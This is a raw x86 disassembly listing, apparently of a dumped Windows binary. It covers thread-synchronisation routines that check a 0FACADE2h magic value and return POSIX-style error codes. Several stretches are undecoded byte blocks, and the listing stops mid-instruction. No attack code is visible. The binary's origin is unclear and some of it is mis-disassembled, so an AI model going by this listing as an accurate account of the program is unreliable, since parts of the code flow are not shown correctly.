___:0043220Cj ; ___:00432216j ... mov eax, 16h loc_4322FB: ; CODE XREF: ___:00432231j ; ___:00432251j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_432360: ; CODE XREF: ___:00401951j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_432461 mov eax, [esi] test eax, eax jz loc_432461 cmp eax, 0FFFFFFFFh jnz short loc_432397 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432397 cmp eax, 10h jnz loc_432466 loc_432397: ; CODE XREF: ___:0043237Fj ; ___:0043238Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432461 mov edi, [esp+20h] push edi push esi call sub_401BC2 add esp, 8 test eax, eax jnz loc_432466 lea ebp, [esi+4] push edi push ebp call sub_401BC2 mov edi, eax add esp, 8 test edi, edi jz short loc_4323E1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4323E1: ; CODE XREF: ___:004323CDj mov eax, [esi+10h] test eax, eax jnz short loc_432455 mov eax, [esi+14h] test eax, eax jle short loc_4323FE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4323FE: ; CODE XREF: ___:004323EDj mov eax, [esi+0Ch] test eax, eax jle short loc_432455 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_432421: ; CODE XREF: ___:0043243Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43243D mov eax, [esi+14h] test eax, eax jl short loc_432421 loc_43243D: ; CODE XREF: ___:00432434j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_432458 mov [esi+0Ch], edi loc_432455: ; CODE XREF: ___:004323E6j ; ___:00432403j inc dword ptr [esi+10h] loc_432458: ; CODE XREF: ___:00432450j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432461: ; CODE XREF: ___:0043236Cj ; ___:00432376j ... mov eax, 16h loc_432466: ; CODE XREF: ___:00432391j ; ___:004323B6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4324C0: ; CODE XREF: ___:004015BEj mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_432546 mov esi, [eax] test esi, esi jz short loc_432546 cmp esi, 0FFFFFFFFh jnz short loc_4324DC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4324DC: ; CODE XREF: ___:004324D4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_432546 mov eax, [esi+10h] test eax, eax jnz short loc_432524 lea ebx, [esi+4] push ebx call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_432502 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432502: ; CODE XREF: ___:004324FCj mov eax, [esi+14h] inc eax loc_432506: ; DATA XREF: sub_580566+641Eo mov [esi+14h], eax jnz short loc_432519 add esi, 8 push esi call sub_401E51 add esp, 4 mov edi, eax loc_432519: ; CODE XREF: ___:00432509j push ebx call sub_4010C3 add esp, 4 jmp short loc_43253C ; --------------------------------------------------------------------------- loc_432524: ; CODE XREF: ___:004324EAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43253C: ; CODE XREF: ___:00432522j test edi, edi jz short loc_43254B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432546: ; CODE XREF: ___:004324C9j ; ___:004324CFj ... mov eax, 16h loc_43254B: ; CODE XREF: ___:0043253Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432580: ; CODE XREF: ___:00401532j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43263A mov eax, [esi] test eax, eax jz loc_43263A cmp eax, 0FFFFFFFFh jnz short loc_4325B4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4325B4 cmp eax, 10h jnz loc_43263F loc_4325B4: ; CODE XREF: ___:0043259Cj ; ___:004325A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43263A push esi call sub_40177B add esp, 4 test eax, eax jnz short loc_43263F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43262D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4325FD push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4325FD: ; CODE XREF: ___:004325ECj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43262D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43262D: ; CODE XREF: ___:004325DAj ; ___:0043261Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43263A: ; CODE XREF: ___:00432589j ; ___:00432593j ... mov eax, 16h loc_43263F: ; CODE XREF: ___:004325AEj ; ___:004325CAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432690: ; CODE XREF: ___:00401FD2j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_432771 mov eax, [esi] test eax, eax jz loc_432771 cmp eax, 0FFFFFFFFh jnz short loc_4326C4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4326C4 cmp eax, 10h jnz loc_432776 loc_4326C4: ; CODE XREF: ___:004326ACj ; ___:004326B9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432771 push esi call sub_40177B add esp, 4 test eax, eax jnz loc_432776 lea ebx, [esi+4] push ebx call sub_40177B mov edi, eax add esp, 4 test edi, edi jz short loc_432709 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_432776 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432709: ; CODE XREF: ___:004326F4j mov eax, [esi+10h] test eax, eax jnz short loc_432759 mov eax, [esi+14h] test eax, eax jle short loc_432726 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432726: ; CODE XREF: ___:00432715j mov eax, [esi+0Ch] test eax, eax jle short loc_432764 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_43274B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43274B: ; CODE XREF: ___:0043273Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_43275E loc_432759: ; CODE XREF: ___:0043270Ej mov edi, 10h loc_43275E: ; CODE XREF: ___:00432757j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432764: ; CODE XREF: ___:0043272Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432771: ; CODE XREF: ___:00432699j ; ___:004326A3j ... mov eax, 16h loc_432776: ; CODE XREF: ___:004326BEj ; ___:004326DEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4327C0: ; CODE XREF: ___:00401BF9j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_4327D7 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_4327D7: ; CODE XREF: ___:004327CFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432800: ; CODE XREF: ___:00401E97j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432827 mov eax, [esp+8] test eax, eax jz short loc_432827 cmp eax, 2 jbe short loc_432827 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432827: ; CODE XREF: ___:0043280Fj ; ___:00432817j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432840: ; CODE XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432886 mov edi, [esp+14h] test edi, edi jz short loc_432886 mov esi, [edi] push eax call sub_40154B add esp, 4 cmp esi, eax jl short loc_432886 push 0 call sub_401438 add esp, 4 cmp esi, eax jg short loc_432886 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_432886: ; CODE XREF: ___:00432852j ; ___:0043285Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328B0: ; CODE XREF: ___:00401EDDj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_4328D5 mov eax, [esp+0Ch] test eax, eax jz short loc_4328D5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4328D5: ; CODE XREF: ___:004328C0j ; ___:004328C8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328F0: ; CODE XREF: ___:004015B4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_432909 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432909: ; CODE XREF: ___:00432900j mov eax, [esp+0Ch] test eax, eax jz short loc_43291D cmp eax, 1 jz short loc_43291D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_43291D: ; CODE XREF: ___:0043290Fj ; ___:00432914j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:004019D8j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432965 mov eax, [esp+0Ch] test eax, eax jz short loc_432965 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_432965: ; CODE XREF: ___:00432950j ; ___:00432958j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432980 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_4329C5 mov eax, [esp+4+arg_4] test eax, eax jl short loc_4329C0 cmp eax, 2 jg short loc_4329C0 test eax, eax jz short loc_4329AC mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_4329AC: ; CODE XREF: sub_432980+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020B3 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_4329C0: ; CODE XREF: sub_432980+1Aj ; sub_432980+1Fj mov eax, 16h loc_4329C5: ; CODE XREF: sub_432980+12j pop esi retn sub_432980 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4329F0 proc near ; CODE XREF: sub_4020B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_40154B add esp, 4 cmp esi, eax jl loc_432A95 push edi call sub_401438 add esp, 4 cmp esi, eax jg short loc_432A95 cmp esi, 0FFFFFFF1h jle short loc_432A30 cmp esi, 0FFFFFFFEh jge short loc_432A30 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_432A42 ; --------------------------------------------------------------------------- loc_432A30: ; CODE XREF: sub_4329F0+2Fj ; sub_4329F0+34j cmp esi, 0Fh jge short loc_432A42 cmp esi, 2 jle short loc_432A42 mov [esp+8+arg_8], 2 loc_432A42: ; CODE XREF: sub_4329F0+3Ej ; sub_4329F0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_432A8E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx nop call near ptr 273080Eh test eax, eax jnz short loc_432A82 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A82: ; CODE XREF: sub_4329F0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_432A8E: ; CODE XREF: sub_4329F0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A95: ; CODE XREF: sub_4329F0+19j ; sub_4329F0+2Aj pop edi mov eax, 16h pop esi retn sub_4329F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432AD0 proc near ; CODE XREF: sub_40218Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_432B09 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_432B04 mov eax, [esp+4+arg_8] test eax, eax jz short loc_432B04 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_432B04: ; CODE XREF: sub_432AD0+1Bj ; sub_432AD0+23j mov eax, 16h loc_432B09: ; CODE XREF: sub_432AD0+12j pop esi retn sub_432AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B20 proc near ; CODE XREF: sub_401438j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B33 cmp eax, 2 jg short loc_432B33 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_432B33: ; CODE XREF: sub_432B20+6j ; sub_432B20+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B60 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B73 cmp eax, 2 jg short loc_432B73 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_432B73: ; CODE XREF: sub_432B60+6j ; sub_432B60+Bj call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432BA0: ; CODE XREF: ___:00401AC8j push esi mov esi, [esp+8] test esi, esi jz short loc_432BE5 nop call near ptr 27307E1h cmp esi, eax jz short loc_432BE5 push esi push 0 push 200h nop call near ptr 2780000h test eax, eax jnz short loc_432BE5 call near ptr 27B0836h nop mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BE5: ; CODE XREF: ___:00432BA7j ; ___:00432BB1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_432BFE nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BFE: ; CODE XREF: ___:00432BEBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432C30: ; CODE XREF: ___:0040150Aj push esi mov esi, [esp+8] test esi, esi jz short loc_432C75 nop call near ptr 27307E1h cmp esi, eax jz short loc_432C75 push esi push 0 push 400h nop call near ptr 2780000h test eax, eax jnz short loc_432C75 call near ptr 27B0836h nop mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432C75: ; CODE XREF: ___:00432C37j ; ___:00432C41j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432CA0: ; CODE XREF: ___:00401B4Aj push 0 nop call near ptr 28302E5h xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432CC0 proc near ; CODE XREF: sub_401C76j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_432CDF mov edi, 1 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432CDF: ; CODE XREF: sub_432CC0+Aj push 4 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_432CF7 mov edi, 0Ch loc_432CF7: ; CODE XREF: sub_432CC0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 call near ptr 27301ABh nop test eax, eax mov [esi], eax jnz short loc_432D24 mov edi, 1Ch nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D24: ; CODE XREF: sub_432CC0+4Fj test edi, edi jz short loc_432D36 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D36: ; CODE XREF: sub_432CC0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_432CC0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432D80 proc near ; CODE XREF: sub_401686j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_432DA5 mov esi, [edi] test esi, esi jz short loc_432DA5 mov dword ptr [edi], 0 mov eax, [esi] push eax nop call near ptr 2840000h test eax, eax jnz short loc_432DB7 mov [edi], esi loc_432DA5: ; CODE XREF: sub_432D80+8j ; sub_432D80+Ej nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432DB7: ; CODE XREF: sub_432D80+21j push esi call near ptr 77C2C21Bh nop add esp, 4 xor eax, eax pop edi pop esi retn sub_432D80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DF0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E23 mov eax, [eax] test eax, eax jz short loc_432E23 mov eax, [eax] push 0 push eax nop call near ptr 2760661h cmp eax, 102h jnz short loc_432E35 mov esi, 0Bh nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E23: ; CODE XREF: sub_432DF0+7j ; sub_432DF0+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E35: ; CODE XREF: sub_432DF0+1Fj xor eax, eax pop esi retn sub_432DF0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E60 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E8D mov eax, [eax] test eax, eax jz short loc_432E8D mov eax, [eax] push eax call sub_401640 ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 0C436E890h, 3089777Eh, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432E8D: ; CODE XREF: sub_432E60+7j ; sub_432E60+Dj mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_432E60 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401898j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_432EF3 mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432EF3: ; CODE XREF: sub_432ED0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_432F02 or ebx, 0FFFFFFFFh jmp short loc_432F61 ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax nop call near ptr 77C49113h mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_432F61 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_432F61 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_432F61 dec ebx loc_432F61: ; CODE XREF: sub_432ED0+30j ; sub_432ED0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D70 sub_432ED0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 7EC33FE8h, 30899077h, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_432FE0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432FFF mov eax, [eax] test eax, eax jz short loc_432FFF mov eax, [eax] push 0 push 1 push eax call near ptr 2730000h nop test eax, eax jnz short loc_43300F loc_432FFF: ; CODE XREF: sub_432FE0+6j ; sub_432FE0+Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_43300F: ; CODE XREF: sub_432FE0+1Dj xor eax, eax retn sub_432FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433030 proc near ; CODE XREF: sub_40204Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_433056 mov eax, [eax] test eax, eax jz short loc_433056 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_433056 mov eax, [eax] push 0 push ecx push eax call near ptr 2730000h nop test eax, eax jnz short loc_433066 loc_433056: ; CODE XREF: sub_433030+6j ; sub_433030+Cj ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_433066: ; CODE XREF: sub_433030+24j xor eax, eax retn sub_433030 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433080: ; CODE XREF: ___:00401433j mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4330CD mov esi, [eax] test esi, esi jz short loc_4330CD mov edi, [esp+10h] test edi, edi jz short loc_4330CD mov eax, [esi] push 0 push eax call near ptr 2760661h nop cmp eax, 102h jnz short loc_4330B1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4330B1: ; CODE XREF: ___:004330A8j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx nop call near ptr 2730000h mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4330CD: ; CODE XREF: ___:00433088j ; ___:0043308Ej ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433100: ; CODE XREF: ___:0040220Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433120: ; CODE XREF: ___:00402013j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433140: ; CODE XREF: ___:00401CB2j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433160 proc near ; CODE XREF: sub_401992j arg_0 = dword ptr 4 push esi push offset dword_50E980 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_433194 push esi push ecx call sub_4021EE add esp, 8 mov esi, eax push offset dword_50E980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433194: ; CODE XREF: sub_433160+17j test eax, eax jnz short loc_43319D mov esi, 16h loc_43319D: ; CODE XREF: sub_433160+36j push offset dword_50E980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_433160 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4331D0 proc near ; CODE XREF: sub_4021EEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4331EE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4331EE: ; CODE XREF: sub_4331D0+11j lea eax, [esp+14h+var_4] push eax call sub_401C26 mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_433229 mov [esp+14h+var_4], 1 loc_43320B: ; CODE XREF: sub_4331D0+5Ej ; sub_4331D0+63j push 8 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433240 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433229: ; CODE XREF: sub_4331D0+31j cmp [esp+14h+var_4], 1 jle short loc_43320B cmp ebx, 1 jnz short loc_43320B pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: sub_4331D0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43325D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: sub_4331D0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A0F mov edi, eax add esp, 4 test edi, edi jnz short loc_433293 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_433293 mov dword ptr [esi], 3 loc_433293: ; CODE XREF: sub_4331D0+9Ej ; sub_4331D0+BBj lea edx, [esp+14h+arg_0] push edx call sub_4010AA add esp, 4 test edi, edi jnz short loc_4332AF mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4332AF: ; CODE XREF: sub_4331D0+D2j push esi call 